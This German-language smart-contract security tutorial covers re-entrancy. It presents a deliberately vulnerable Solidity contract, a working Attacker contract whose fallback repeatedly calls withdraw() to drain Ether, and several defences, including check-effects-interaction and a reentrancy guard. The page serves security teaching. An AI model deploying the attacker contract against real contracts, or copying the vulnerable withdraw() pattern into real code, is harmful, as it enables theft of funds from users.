Re-Entrancy

Published by Mario Oettler on

Versuchen Sie, sich so viele Ether wie möglich aus dem folgenden Contract zu stehlen:

pragma solidity ^0.8.21;
contract Vulnerable{
    
    mapping (address => uint256) public balanceOf;

    constructor() payable{
        
    }
 
    function pay() external payable{
        balanceOf[msg.sender] = msg.value;
    }
     
    function withdraw() external{
        uint256 amount = balanceOf[msg.sender];
        (bool success,) = msg.sender.call{value: amount}(""); // Es wird gleich alles abgehoben
        require(success, "Transfer failed");
        balanceOf[msg.sender] = 0;
    }
     
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }   
}

Lösung

pragma solidity ^0.8.21;

contract Attacker{
    address payable vAdress; // Adresse des anzugreifenden Smart Contracts eintragen.
    uint256 amount = 1000000000000000000; // 1 Ether
    uint256 public myBalance = address(this).balance;
    
    constructor(address _victimAddress) public payable{ // Beim Deployen wird 1 Ether mitgeschickt.
        vAdress = payable(_victimAddress);
    }
    
    function payVictim() public{
        vAdress.call{value: amount}(abi.encodeWithSignature("pay()")); 
    }
    
    function attack()public{
        vAdress.call(abi.encodeWithSignature("withdraw()"));
    }
    
    fallback() external payable { // Fallback function
        vAdress.call(abi.encodeWithSignature("withdraw()"));
    }
    
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }
}

Schutz

Es gibt mehrere Lösungen:

1. Check-Effects-Interaction-Pattern nutzen

Mit diesem Muster ist ein erneutes Aufrufen erfolglos, da der Kontostand bereits angepasst wurde.

  1. Erst prüfen, ob berechtigt (z. B. ausreichend Guthaben)
  2. Kontostände anpassen
  3. Überweisung durchführen
function withdraw() external{
    uint256 amount = balanceOf[msg.sender];               // Check
    balanceOf[msg.sender] = 0;                            // Effect
    (bool success,) = msg.sender.call{value: amount}(""); // Interaction; Es wird gleich alles abgehoben
    require(success, "Transfer failed");
}

Den geschützten Smart Contract finden Sie in folgender Datei: 03_ReEntrancy_Schutz.txt.

2. send() und transfer() nutzen

Die Funktionen <address>.send() und <address>.transfer() schicken nur 2.300 Gas mit. Dies ist nicht genug, um eine umfangreiche Fallbackfunktion auszuführen. Eine Re-entrancy-Attacke scheitert daher an der zu geringen Gas-Menge.

Kurze Zeit nach Beschränkung der Gas-Menge von send() und transfer() wurde die Nutzung als Standardoption angesehen.

Jedoch wird dies zunehmend kritisch betrachtet, da die Gas-Menge so gering ist, dass eine Erhöhung der Gas-Kosten für manche Befehle dazu führen können, dass ein Empfänger-Smart Contract nicht mehr funktioniert. Stattdessen wird auf die Verantwortung der Entwickler gesetzt und address.call{}() empfohlen, welches die Höchstmenge an Ehter bereitstellt.

3. Re-entrancy Guard nutzen

Ein Re-entrancy guard ist ein Modifier, der prüft, ob die Funktion bereits “betreten” wurde.

pragma solidity 0.8.21;

contract ReentrancyGuard{

    bool public locked;
    modifier reentrancyGuard(){
        require(!locked);
        locked = true;
        _;
        locked = false;
    }
    function payContract() payable public{

    }

    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    function payoutFunction() reentrancyGuard() public{
        (bool success, bytes memory result) = msg.sender.call{value:1000}(""); //10000 Wei
    }
}

Den Quellcode finden Sie auch in der Datei 03_Reentrancy_Schutz_Guard.sol.

Es gibt auch Bibliotheken, die diesen Re-entrancy-Schutz bieten.

Categories: